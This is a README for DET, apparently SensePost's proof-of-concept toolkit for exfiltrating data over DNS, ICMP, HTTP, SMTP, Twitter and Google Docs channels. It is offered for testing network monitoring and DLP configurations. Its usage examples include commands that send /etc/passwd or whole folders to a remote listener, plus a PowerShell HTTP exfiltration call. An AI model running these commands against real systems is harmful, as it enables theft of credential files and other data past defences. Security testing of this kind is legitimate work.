DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time.
The idea was to create a generic toolkit to plug any kind of protocol/service to test implmented Network Monitoring and Data Leakage Prevention (DLP) solutions configuration, against different data exfiltration techniques.
DET has been presented at BSides Ljubljana on the 9th of March 2016 and the slides will be available here. Slides are available here.
Clone the repo:
git clone https://github.com/sensepost/DET.git
Then:
pip install -r requirements.txt --user
In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption
passphrase and so on). A configuration example file has been provided and is called: config-sample.json

python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
[-L]
Data Exfiltration Toolkit (SensePost)
optional arguments:
-h, --help show this help message and exit
-c CONFIG Configuration file (eg. '-c ./config-sample.json')
-f FILE File to exfiltrate (eg. '-f /etc/passwd')
-d FOLDER Folder to exfiltrate (eg. '-d /etc/')
-p PLUGIN Plugins to use (eg. '-p dns,twitter')
-e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp')
-L Server mode
To load every plugin:
python det.py -L -c ./config.json
To load only twitter and gmail modules:
python det.py -L -c ./config.json -p twitter,gmail
To load every plugin and exclude DNS:
python det.py -L -c ./config.json -e dns
To load every plugin:
python det.py -c ./config.json -f /etc/passwd
To load only twitter and gmail modules:
python det.py -c ./config.json -p twitter,gmail -f /etc/passwd
To load every plugin and exclude DNS:
python det.py -c ./config.json -e dns -f /etc/passwd
And in PowerShell (HTTP module):
PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'
So far, DET supports multiple protocols, listed here:
- HTTP(S)
- ICMP
- DNS
- SMTP/IMAP (eg. Gmail)
- Raw TCP
- PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail))
And other "services":
- Google Docs (Unauthenticated)
- Twitter (Direct Messages)
So far, I am busy implementing new modules which are almost ready to ship, including:
- Skype (95% done)
- Tor (80% done)
- Github (30/40% done)
- Add proper encryption (eg. AES-256) Thanks to ryanohoro
- Compression (extremely important!) Thanks to chokepoint
- Proper data obfuscation and integrating Cloakify Toolset Toolset
- FTP, FlickR LSB Steganography and Youtube modules
